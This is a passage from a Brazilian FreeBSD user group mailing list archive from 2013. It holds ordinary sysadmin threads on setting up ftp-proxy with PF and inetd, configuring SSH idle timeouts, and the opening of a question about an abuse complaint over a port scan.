> > >> 0xc99a (correct), seq 405566230, win 32768, options [mss
> 1460,nop,wscale
> > >> 3,sackOK,nop,nop,nop,nop,TS val 1 ecr 0], length 0
> > >> 11:31:27.262113 IP (tos 0x0, ttl 64, id 1152, offset 0, flags [DF],
> > >> proto TCP (6), length 60)
> > >> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [S.], cksum
> > >> 0xbd73 (correct), seq 2543765099, ack 405566231, win 65535, options
> [mss
> > >> 1460,nop,wscale 6,sackOK,TS val 116814 ecr 1], length 0
> > >> 11:31:27.262517 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
> > >> TCP (6), length 52)
> > >> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
> > >> 0xdbd9 (correct), ack 1, win 4197, options [nop,nop,TS val 1 ecr
> > >> 116814], length 0
> > >> 11:31:39.884895 IP (tos 0x0, ttl 64, id 1162, offset 0, flags [DF],
> > >> proto TCP (6), length 52)
> > >> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [F.], cksum
> > >> 0xb6d4 (correct), seq 1, ack 1, win 1040, options [nop,nop,TS val
> > >> 1168190407 ecr 1], length 0
> > >> 11:31:39.885147 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF],
> proto
> > >> TCP (6), length 52)
> > >> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
> > >> 0xaa65 (correct), ack 2, win 4197, options [nop,nop,TS val 27 ecr
> > >> 1168190407], length 0
> > >> 11:31:39.943984 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF],
> proto
> > >> TCP (6), length 52)
> > >> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [F.], cksum
> > >> 0xaa64 (correct), seq 1, ack 2, win 4197, options [nop,nop,TS val 27
> ecr
> > >> 1168190407], length 0
> > >> 11:31:39.944064 IP (tos 0x0, ttl 64, id 1163, offset 0, flags [DF],
> > >> proto TCP (6), length 52)
> > >> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [.], cksum
> > >> 0xb687 (correct), ack 2, win 1040, options [nop,nop,TS val 1168190457
> > >> ecr 27], length 0
> > >>
> > >> --
> > >> att,
> > >> Adiel de Lima Ribeiro
> > >> facebook.com/sembr.dyndns.info
> > >>
> > >>
> > >
> > > Oi cara.
> > >
> > > no arquivo /etc/inetd.conf
> > > ftp-proxy stream tcp nowait root /usr/sbin/ftp-proxy ftp-proxy
> > >
> > > no rc.conf
> > >
> > > inetd_enable="YES"
> > >
> > > # /etc/rc.d/inetd start
> > >
> > >
> > > verifique se a porta 8021 aparecerá no netstat ;)
> > >
> > >
> > > Escrevi sobre em :
> > > http://joaocep.blogspot.com.br/2010/02/freebsd-8-e-ftpproxy.html
> > >
> > > Lembrando que não entendo, mas em alguns casos ficou ftp.proxy ou
> ftp-proxy
> > >
> > >
> > > e uma boa tarde.
> > >
> > >
> > >
> > E perdoe o que escrevi - é para FreeBSD.
> >
> > Mas acredito que seu problema esteja relacionado ao Inetd.
> >
> Obrigado JOao, mas meu firewall é FreeBSD mesmo, o NetBSD é um servidor
> interno da rede que o utiliza como Gateway.
> Eu não gostaria de mecher com InetD, isso existe ainda? Acho que essa
> maneira com ele é mais antiga não?
> --
> att,
> Adiel de Lima Ribeiro
> facebook.com/sembr.dyndns.info
>
>
Tão antigo como protocolo FTP.

acredito que seja a única solução ;)


-- 
João Luis Mancy dos Santos
joaocep at gmail.com(msn too)
http://joaocep.blogspot.com
http://www.istf.com.br/perguntas/
http://www.fug.com.br/content/view/20/69/
uin 82889044
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] FTP - PF.

[Adiel de Lima Ribeiro]

On Thu, 2013-06-20 at 13:24 -0300, João Mancy wrote:
> Em 20 de junho de 2013 13:20, João Mancy  escreveu:
> 
> >
> >
> >
> > Em 20 de junho de 2013 11:58, Adiel de Lima Ribeiro <
> > adiel.netad...@gmail.com> escreveu:
> >
> > Lista, bom dia.
> >> Estou tendo problemas em pegar pacotes do NetBSD (192.168.254.126) via
> >> FTP.
> >>
> >> No meu pf.conf eu já adicionei as regras para ftp.
> >> Sessão NAT do PF:
> >> nat-anchor "ftp-proxy/*"
> >> rdr-anchor "ftp-proxy/*"
> >> rdr on $lan_if proto tcp from any to any port ftp -> 127.0.0.1 port 8021
> >> Sessão Rules:
> >> pass in on $lan_if from 192.168.254.126 to any keep state
> >> Já iniciei o serviço com o comando:
> >> /usr/sbin/ftp-proxy
> >> Também já adicionei no rc.conf:
> >> ftpproxy_flags=""
> >>
> >> Existe mais algo que eu possa fazer?
> >>
> >> No TCPDUMP até consigo verificar que a comunicação ocorre, conforme log,
> >> mas não conecta, e não é somente neste site, mas em outros também.
> >> Aproveitando o gancho, alguma dica para analise de dados com TCPDUMP?
> >> Obrigado.
> >>
> >> Log:
> >> 11:31:27.261968 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
> >> TCP (6), length 64)
> >> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [S], cksum
> >> 0xc99a (correct), seq 405566230, win 32768, options [mss 1460,nop,wscale
> >> 3,sackOK,nop,nop,nop,nop,TS val 1 ecr 0], length 0
> >> 11:31:27.262113 IP (tos 0x0, ttl 64, id 1152, offset 0, flags [DF],
> >> proto TCP (6), length 60)
> >> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [S.], cksum
> >> 0xbd73 (correct), seq 2543765099, ack 405566231, win 65535, options [mss
> >> 1460,nop,wscale 6,sackOK,TS val 116814 ecr 1], length 0
> >> 11:31:27.262517 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
> >> TCP (6), length 52)
> >> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
> >> 0xdbd9 (correct), ack 1, win 4197, options [nop,nop,TS val 1 ecr
> >> 116814], length 0
> >> 11:31:39.884895 IP (tos 0x0, ttl 64, id 1162, offset 0, flags [DF],
> >> proto TCP (6), length 52)
> >> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [F.], cksum
> >> 0xb6d4 (correct), seq 1, ack 1, win 1040, options [nop,nop,TS val
> >> 1168190407 ecr 1], length 0
> >> 11:31:39.885147 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto
> >> TCP (6), length 52)
> >> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
> >> 0xaa65 (correct), ack 2, win 4197, options [nop,nop,TS val 27 ecr
> >> 1168190407], length 0
> >> 11:31:39.943984 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto
> >> TCP (6), length 52)
> >> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [F.], cksum
> >> 0xaa64 (correct), seq 1, ack 2, win 4197, options [nop,nop,TS val 27 ecr
> >> 1168190407], length 0
> >> 11:31:39.944064 IP (tos 0x0, ttl 64, id 1163, offset 0, flags [DF],
> >> proto TCP (6), length 52)
> >> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [.], cksum
> >> 0xb687 (correct), ack 2, win 1040, options [nop,nop,TS val 1168190457
> >> ecr 27], length 0
> >>
> >> --
> >> att,
> >> Adiel de Lima Ribeiro
> >> facebook.com/sembr.dyndns.info
> >>
> >>
> >
> > Oi cara.
> >
> > no arquivo /etc/inetd.conf
> > ftp-proxy stream tcp nowait root /usr/sbin/ftp-proxy ftp-proxy
> >
> > no rc.conf
> >
> > inetd_enable="YES"
> >
> > # /etc/rc.d/inetd start
> >
> >
> > verifique se a porta 8021 aparecerá no netstat ;)
> >
> >
> > Escrevi sobre em :
> > http://joaocep.blogspot.com.br/2010/02/freebsd-8-e-ftpproxy.html
> >
> > Lembrando que não entendo, mas em alguns casos ficou ftp.proxy ou ftp-proxy
> >
> >
> > e uma boa tarde.
> >
> >
> >
> E perdoe o que escrevi - é para FreeBSD.
> 
> Mas acredito que seu problema esteja relacionado ao Inetd.
> 
Obrigado JOao, mas meu firewall é FreeBSD mesmo, o NetBSD é um servidor
interno da rede que o utiliza como Gateway.
Eu não gostaria de mecher com InetD, isso existe ainda? Acho que essa
maneira com ele é mais antiga não?
-- 
att,
Adiel de Lima Ribeiro
facebook.com/sembr.dyndns.info


-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Timeout SSH

[Alexandre Silva Nano]

Em 20 de junho de 2013 12:46, Rodrigo Gonçalves Crescencio <
rodr...@rcsolucoesinteligentes.com.br> escreveu:

> Oi Alexandre,
> Desculpe pelo Top-posting, foi realmente sem querer.
> Então já fiz esta configuração, inclusive utilizei 300, 150, até com os 600
> segundos, mesmo deixando o console por horas parado ele não mata a conexão.
> Cheguei até a reinicializar o servidor (como se precisasse... rsrs) mas
> infelizmente não foi
> ww.fug.com.br/mailman/listinfo/freebsd
>

Experimente setar o ClientAliveCountMax para 0. Isso faz com que seja
somente enviado uma solicitação de keepalive. Depois disso, ele mata a
sessão.

-- 
Att, Alexandre Silva Nano
Three Towers Consultoria
Enterasys Security Systems Engineer - IPS/SIEM
Enterasys Certified Specialist - NAC, Switching

Analista de Tecnologia da Informação e Comunicação

Perfil LinkedIn: http://br.linkedin.com/pub/alexandre-silva-nano/33/59/77a
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] FTP - PF.

[João Mancy]

Em 20 de junho de 2013 13:20, João Mancy  escreveu:

>
>
>
> Em 20 de junho de 2013 11:58, Adiel de Lima Ribeiro <
> adiel.netad...@gmail.com> escreveu:
>
> Lista, bom dia.
>> Estou tendo problemas em pegar pacotes do NetBSD (192.168.254.126) via
>> FTP.
>>
>> No meu pf.conf eu já adicionei as regras para ftp.
>> Sessão NAT do PF:
>> nat-anchor "ftp-proxy/*"
>> rdr-anchor "ftp-proxy/*"
>> rdr on $lan_if proto tcp from any to any port ftp -> 127.0.0.1 port 8021
>> Sessão Rules:
>> pass in on $lan_if from 192.168.254.126 to any keep state
>> Já iniciei o serviço com o comando:
>> /usr/sbin/ftp-proxy
>> Também já adicionei no rc.conf:
>> ftpproxy_flags=""
>>
>> Existe mais algo que eu possa fazer?
>>
>> No TCPDUMP até consigo verificar que a comunicação ocorre, conforme log,
>> mas não conecta, e não é somente neste site, mas em outros também.
>> Aproveitando o gancho, alguma dica para analise de dados com TCPDUMP?
>> Obrigado.
>>
>> Log:
>> 11:31:27.261968 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
>> TCP (6), length 64)
>> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [S], cksum
>> 0xc99a (correct), seq 405566230, win 32768, options [mss 1460,nop,wscale
>> 3,sackOK,nop,nop,nop,nop,TS val 1 ecr 0], length 0
>> 11:31:27.262113 IP (tos 0x0, ttl 64, id 1152, offset 0, flags [DF],
>> proto TCP (6), length 60)
>> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [S.], cksum
>> 0xbd73 (correct), seq 2543765099, ack 405566231, win 65535, options [mss
>> 1460,nop,wscale 6,sackOK,TS val 116814 ecr 1], length 0
>> 11:31:27.262517 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
>> TCP (6), length 52)
>> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
>> 0xdbd9 (correct), ack 1, win 4197, options [nop,nop,TS val 1 ecr
>> 116814], length 0
>> 11:31:39.884895 IP (tos 0x0, ttl 64, id 1162, offset 0, flags [DF],
>> proto TCP (6), length 52)
>> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [F.], cksum
>> 0xb6d4 (correct), seq 1, ack 1, win 1040, options [nop,nop,TS val
>> 1168190407 ecr 1], length 0
>> 11:31:39.885147 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto
>> TCP (6), length 52)
>> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
>> 0xaa65 (correct), ack 2, win 4197, options [nop,nop,TS val 27 ecr
>> 1168190407], length 0
>> 11:31:39.943984 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto
>> TCP (6), length 52)
>> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [F.], cksum
>> 0xaa64 (correct), seq 1, ack 2, win 4197, options [nop,nop,TS val 27 ecr
>> 1168190407], length 0
>> 11:31:39.944064 IP (tos 0x0, ttl 64, id 1163, offset 0, flags [DF],
>> proto TCP (6), length 52)
>> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [.], cksum
>> 0xb687 (correct), ack 2, win 1040, options [nop,nop,TS val 1168190457
>> ecr 27], length 0
>>
>> --
>> att,
>> Adiel de Lima Ribeiro
>> facebook.com/sembr.dyndns.info
>>
>>
>
> Oi cara.
>
> no arquivo /etc/inetd.conf
> ftp-proxy stream tcp nowait root /usr/sbin/ftp-proxy ftp-proxy
>
> no rc.conf
>
> inetd_enable="YES"
>
> # /etc/rc.d/inetd start
>
>
> verifique se a porta 8021 aparecerá no netstat ;)
>
>
> Escrevi sobre em :
> http://joaocep.blogspot.com.br/2010/02/freebsd-8-e-ftpproxy.html
>
> Lembrando que não entendo, mas em alguns casos ficou ftp.proxy ou ftp-proxy
>
>
> e uma boa tarde.
>
>
>
E perdoe o que escrevi - é para FreeBSD.

Mas acredito que seu problema esteja relacionado ao Inetd.

-- 
João Luis Mancy dos Santos
joaocep at gmail.com(msn too)
http://joaocep.blogspot.com
http://www.istf.com.br/perguntas/
http://www.fug.com.br/content/view/20/69/
uin 82889044
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] FTP - PF.

[João Mancy]

Em 20 de junho de 2013 11:58, Adiel de Lima Ribeiro <
adiel.netad...@gmail.com> escreveu:

> Lista, bom dia.
> Estou tendo problemas em pegar pacotes do NetBSD (192.168.254.126) via
> FTP.
>
> No meu pf.conf eu já adicionei as regras para ftp.
> Sessão NAT do PF:
> nat-anchor "ftp-proxy/*"
> rdr-anchor "ftp-proxy/*"
> rdr on $lan_if proto tcp from any to any port ftp -> 127.0.0.1 port 8021
> Sessão Rules:
> pass in on $lan_if from 192.168.254.126 to any keep state
> Já iniciei o serviço com o comando:
> /usr/sbin/ftp-proxy
> Também já adicionei no rc.conf:
> ftpproxy_flags=""
>
> Existe mais algo que eu possa fazer?
>
> No TCPDUMP até consigo verificar que a comunicação ocorre, conforme log,
> mas não conecta, e não é somente neste site, mas em outros também.
> Aproveitando o gancho, alguma dica para analise de dados com TCPDUMP?
> Obrigado.
>
> Log:
> 11:31:27.261968 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
> TCP (6), length 64)
> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [S], cksum
> 0xc99a (correct), seq 405566230, win 32768, options [mss 1460,nop,wscale
> 3,sackOK,nop,nop,nop,nop,TS val 1 ecr 0], length 0
> 11:31:27.262113 IP (tos 0x0, ttl 64, id 1152, offset 0, flags [DF],
> proto TCP (6), length 60)
> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [S.], cksum
> 0xbd73 (correct), seq 2543765099, ack 405566231, win 65535, options [mss
> 1460,nop,wscale 6,sackOK,TS val 116814 ecr 1], length 0
> 11:31:27.262517 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
> TCP (6), length 52)
> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
> 0xdbd9 (correct), ack 1, win 4197, options [nop,nop,TS val 1 ecr
> 116814], length 0
> 11:31:39.884895 IP (tos 0x0, ttl 64, id 1162, offset 0, flags [DF],
> proto TCP (6), length 52)
> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [F.], cksum
> 0xb6d4 (correct), seq 1, ack 1, win 1040, options [nop,nop,TS val
> 1168190407 ecr 1], length 0
> 11:31:39.885147 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto
> TCP (6), length 52)
> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
> 0xaa65 (correct), ack 2, win 4197, options [nop,nop,TS val 27 ecr
> 1168190407], length 0
> 11:31:39.943984 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto
> TCP (6), length 52)
> xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [F.], cksum
> 0xaa64 (correct), seq 1, ack 2, win 4197, options [nop,nop,TS val 27 ecr
> 1168190407], length 0
> 11:31:39.944064 IP (tos 0x0, ttl 64, id 1163, offset 0, flags [DF],
> proto TCP (6), length 52)
> ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [.], cksum
> 0xb687 (correct), ack 2, win 1040, options [nop,nop,TS val 1168190457
> ecr 27], length 0
>
> --
> att,
> Adiel de Lima Ribeiro
> facebook.com/sembr.dyndns.info
>
>

Oi cara.

no arquivo /etc/inetd.conf
ftp-proxy stream tcp nowait root /usr/sbin/ftp-proxy ftp-proxy

no rc.conf

inetd_enable="YES"

# /etc/rc.d/inetd start


verifique se a porta 8021 aparecerá no netstat ;)


Escrevi sobre em :
http://joaocep.blogspot.com.br/2010/02/freebsd-8-e-ftpproxy.html

Lembrando que não entendo, mas em alguns casos ficou ftp.proxy ou ftp-proxy


e uma boa tarde.


-- 
João Luis Mancy dos Santos
joaocep at gmail.com(msn too)
http://joaocep.blogspot.com
http://www.istf.com.br/perguntas/
http://www.fug.com.br/content/view/20/69/
uin 82889044
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Timeout SSH

[Rodrigo Gonçalves Crescencio]

Oi Alexandre, 
Desculpe pelo Top-posting, foi realmente sem querer.
Então já fiz esta configuração, inclusive utilizei 300, 150, até com os 600
segundos, mesmo deixando o console por horas parado ele não mata a conexão.
Cheguei até a reinicializar o servidor (como se precisasse... rsrs) mas
infelizmente não foi

Att,
Rodrigo.


-Original Message-
From: freebsd-boun...@fug.com.br [mailto:freebsd-boun...@fug.com.br] On
Behalf Of Alexandre Silva Nano
Sent: quinta-feira, 20 de junho de 2013 12:38
To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR)
Subject: Re: [FUG-BR] Timeout SSH

Em 20 de junho de 2013 11:59, Rodrigo Gonçalves Crescencio <
rodr...@rcsolucoesinteligentes.com.br> escreveu:

> Rafael bom dia !
> Gostei da dica, acredito ser bem melhor mesmo, pois quem fica 
> encarregado desta tarefa é como você disse, o próprio shell.
> Vou testar ela.
> Vlw !
> Att,
> Rodrigo.
>

Cara, cuidado com o Top-posting...

Bom, meus R$0,05 de contribuição.

Para isso, no próprio sshd_config, utilizo o seguinte comando:

ClientAliveInterval 600

Sendo o número 600 em segundos, ou seja, a sessão irá dar timeout caso não
haja NENHUMA atividade na console SSH, independente do keep-alive.

Faça o teste. Neste caso, sempre configuro meus servidores com um timeout de
10 minutos.

Se você utiliza o shell direto do server ou a console de uma VM mais
frequentemente, pode usar tb a opção que o Rafael indicou, ou as duas
juntas. Fica a seu critério. No meu caso, somente via SSH resolve.

--
Att, Alexandre Silva Nano
Three Towers Consultoria
Enterasys Security Systems Engineer - IPS/SIEM Enterasys Certified
Specialist - NAC, Switching

Analista de Tecnologia da Informação e Comunicação

Perfil LinkedIn: http://br.linkedin.com/pub/alexandre-silva-nano/33/59/77a
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Timeout SSH

[Alexandre Silva Nano]

Em 20 de junho de 2013 11:59, Rodrigo Gonçalves Crescencio <
rodr...@rcsolucoesinteligentes.com.br> escreveu:

> Rafael bom dia !
> Gostei da dica, acredito ser bem melhor mesmo, pois quem fica encarregado
> desta tarefa é como você disse, o próprio shell.
> Vou testar ela.
> Vlw !
> Att,
> Rodrigo.
>

Cara, cuidado com o Top-posting...

Bom, meus R$0,05 de contribuição.

Para isso, no próprio sshd_config, utilizo o seguinte comando:

ClientAliveInterval 600

Sendo o número 600 em segundos, ou seja, a sessão irá dar timeout caso não
haja NENHUMA atividade na console SSH, independente do keep-alive.

Faça o teste. Neste caso, sempre configuro meus servidores com um timeout
de 10 minutos.

Se você utiliza o shell direto do server ou a console de uma VM mais
frequentemente, pode usar tb a opção que o Rafael indicou, ou as duas
juntas. Fica a seu critério. No meu caso, somente via SSH resolve.

-- 
Att, Alexandre Silva Nano
Three Towers Consultoria
Enterasys Security Systems Engineer - IPS/SIEM
Enterasys Certified Specialist - NAC, Switching

Analista de Tecnologia da Informação e Comunicação

Perfil LinkedIn: http://br.linkedin.com/pub/alexandre-silva-nano/33/59/77a
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Timeout SSH

[Rodrigo Gonçalves Crescencio]

Rafael bom dia !
Gostei da dica, acredito ser bem melhor mesmo, pois quem fica encarregado
desta tarefa é como você disse, o próprio shell.
Vou testar ela.
Vlw !
Att,
Rodrigo.



-Original Message-
From: freebsd-boun...@fug.com.br [mailto:freebsd-boun...@fug.com.br] On
Behalf Of Rafael Henrique Faria
Sent: quinta-feira, 20 de junho de 2013 10:16
To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR)
Subject: Re: [FUG-BR] Timeout SSH

2013/6/20 Rodrigo Gonçalves Crescencio
:
> Pessoal bom dia !
>
>
>
> Estou tentando configurar o timeout do SSH, porem o mesmo não está 
> atuando, no sshd_config foram descomentadas e configuradas as linhas
abaixo:
>
>
>
> #ClientAliveInterval 15
>
> #ClientAliveCountMax 3
>
>
>
> Resalvo que fixei o Protocolo na versão 2, mas não estou conseguindo 
> fazer com que ele deslogue a conexão mesmo deixando ela por horas 
> inativa. Meu acesso é pelo PUTTY, onde também no mesmo fixei para utilizar
o Protocolo 2.
>
>
>
> Vocês poderiam me dar uma dica.
>
>
>
> Vlw galera.
>
>
>
> Att,
>
> Rodrigo Crescencio.
>
> -
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Bom dia Rodrigo.

Eu também não acho que essa configuração faça exatamente o que você deseja.
Mas eu deixo um timeout de 3 minutos para meus shells, assim se eu esquecer
aberto ele desloga sozinho, incluindo o SSH.

Basta colocar no .cshrc do seu usuário (e do root também caso você o rode
com "su", eu deixo 1 minuto para o root):

set autologout = 3

Com isso, o próprio shell fará o logout. Funciona bem.

--
Rafael Henrique da Silva Faria
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Timeout SSH

[Rodrigo Gonçalves Crescencio]

Bom dia Eduardo,
Foi efetuado até o restart do Servidor, mas o timeout não ocorre.
Att,
Rodrigo !


-Original Message-
From: freebsd-boun...@fug.com.br [mailto:freebsd-boun...@fug.com.br] On
Behalf Of Eduardo Lemos de Sa
Sent: quinta-feira, 20 de junho de 2013 07:56
To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR)
Subject: Re: [FUG-BR] Timeout SSH

Caríssimos


2013/6/20 Adonai Silveira Canez 

> Rodrigo, no putty tem uma opção na aba connection para manter a 
> conexão ativa, se ela estiver habilitada creio que o servidor não 
> corte a tua conexão.
>
> Adonai
>
> Em 20 de junho de 2013 02:42, Rodrigo Gonçalves Crescencio 
>  escreveu:
> > Pessoal bom dia !
> >
> >
> >
> > Estou tentando configurar o timeout do SSH, porem o mesmo não está
> atuando,
> > no sshd_config foram descomentadas e configuradas as linhas abaixo:
> >
> >
> >
> > #ClientAliveInterval 15
> >
> > #ClientAliveCountMax 3
> >
> >
> >
> > Resalvo que fixei o Protocolo na versão 2, mas não estou conseguindo
> fazer
> > com que ele deslogue a conexão mesmo deixando ela por horas inativa. 
> > Meu acesso é pelo PUTTY, onde também no mesmo fixei para utilizar o
> Protocolo 2.
> >
> >
> >
> > Vocês poderiam me dar uma dica.
> >
> >
> >
> > Vlw galera.
> >
> >
>

É meio óbvio, mas não custa perguntar: foi feito o restart do sshd?

Um abraço

Edu



> >
> > Att,
> >
> > Rodrigo Crescencio.
> >
> > -
> > Histórico: http://www.fug.com.br/historico/html/freebsd/
> > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
> -
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>



--
Eduardo Lemos de Sa
Associated Professor Level 4
Dep. Quimica da Universidade Federal do Paraná
fone: +55(41)3361-3300
fax:   +55(41)3361-3186
Voip Number call to (41) 33613600 (listen to the message and type 10531185)
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

[FUG-BR] FTP - PF.

[Adiel de Lima Ribeiro]

Lista, bom dia.
Estou tendo problemas em pegar pacotes do NetBSD (192.168.254.126) via
FTP.

No meu pf.conf eu já adicionei as regras para ftp.
Sessão NAT do PF:
nat-anchor "ftp-proxy/*"
rdr-anchor "ftp-proxy/*"
rdr on $lan_if proto tcp from any to any port ftp -> 127.0.0.1 port 8021
Sessão Rules:
pass in on $lan_if from 192.168.254.126 to any keep state
Já iniciei o serviço com o comando:
/usr/sbin/ftp-proxy
Também já adicionei no rc.conf:
ftpproxy_flags=""

Existe mais algo que eu possa fazer?

No TCPDUMP até consigo verificar que a comunicação ocorre, conforme log,
mas não conecta, e não é somente neste site, mas em outros também.
Aproveitando o gancho, alguma dica para analise de dados com TCPDUMP? 
Obrigado.

Log:
11:31:27.261968 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
TCP (6), length 64)
xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [S], cksum
0xc99a (correct), seq 405566230, win 32768, options [mss 1460,nop,wscale
3,sackOK,nop,nop,nop,nop,TS val 1 ecr 0], length 0
11:31:27.262113 IP (tos 0x0, ttl 64, id 1152, offset 0, flags [DF],
proto TCP (6), length 60)
ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [S.], cksum
0xbd73 (correct), seq 2543765099, ack 405566231, win 65535, options [mss
1460,nop,wscale 6,sackOK,TS val 116814 ecr 1], length 0
11:31:27.262517 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto
TCP (6), length 52)
xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
0xdbd9 (correct), ack 1, win 4197, options [nop,nop,TS val 1 ecr
116814], length 0
11:31:39.884895 IP (tos 0x0, ttl 64, id 1162, offset 0, flags [DF],
proto TCP (6), length 52)
ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [F.], cksum
0xb6d4 (correct), seq 1, ack 1, win 1040, options [nop,nop,TS val
1168190407 ecr 1], length 0
11:31:39.885147 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto
TCP (6), length 52)
xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [.], cksum
0xaa65 (correct), ack 2, win 4197, options [nop,nop,TS val 27 ecr
1168190407], length 0
11:31:39.943984 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto
TCP (6), length 52)
xen.rumotecnologia.65535 > ftp.netbsd.org.ftp: Flags [F.], cksum
0xaa64 (correct), seq 1, ack 2, win 4197, options [nop,nop,TS val 27 ecr
1168190407], length 0
11:31:39.944064 IP (tos 0x0, ttl 64, id 1163, offset 0, flags [DF],
proto TCP (6), length 52)
ftp.netbsd.org.ftp > xen.rumotecnologia.65535: Flags [.], cksum
0xb687 (correct), ack 2, win 1040, options [nop,nop,TS val 1168190457
ecr 27], length 0

-- 
att,
Adiel de Lima Ribeiro
facebook.com/sembr.dyndns.info


-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] TCP PORT SCAN

[Márcio Elias]

2013/6/20 Márcio Elias 

> 2013/6/20 Marcelo Gondim 
>
>> Em 20/06/13 09:35, Márcio Elias escreveu:
>> > Bom dia colegas,
>> >
>> > trabalho em um ISP e recebi um e-mail do registro.br que me gerou
>> algumas
>> > dúvidas. Pelo que entendi no e-mail, a reclamação é de um port scan
>> > realizado a partir de um de nossos IPs para um determinado ip na porta
>> 6881.
>> >
>> > Abaixo vou colocar o e-mail recebido (com dados mascarados) para que vcs
>> > possam me dar a opinião de vcs sobre isso,
>> >
>> > Título do e-mail: [NicBr-20130619-133 ] TCP PORT SCAN x.x.x.x ->
>> > xxx.xxx.3.103/32 (PORT:6881)
>> >
>> > "Caro Sr. ,
>> >
>> > Favor investigar o incidente descrito com os logs parciais abaixo,
>> > e dar o devido tratamento reportando com copia para todos os enderecos
>> > listados acima com as providencias/medidas tomadas para que tal evento
>> > nao volte a se repetir.
>> >
>> > No caso de tratamento indevido deste evento com reincidencia, serao
>> > adotadas politicas unilaterais de protecao pelo Registro.br.
>> >
>> >
>> >
>> Logs---
>> > "2013-06-18 15:53:34" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
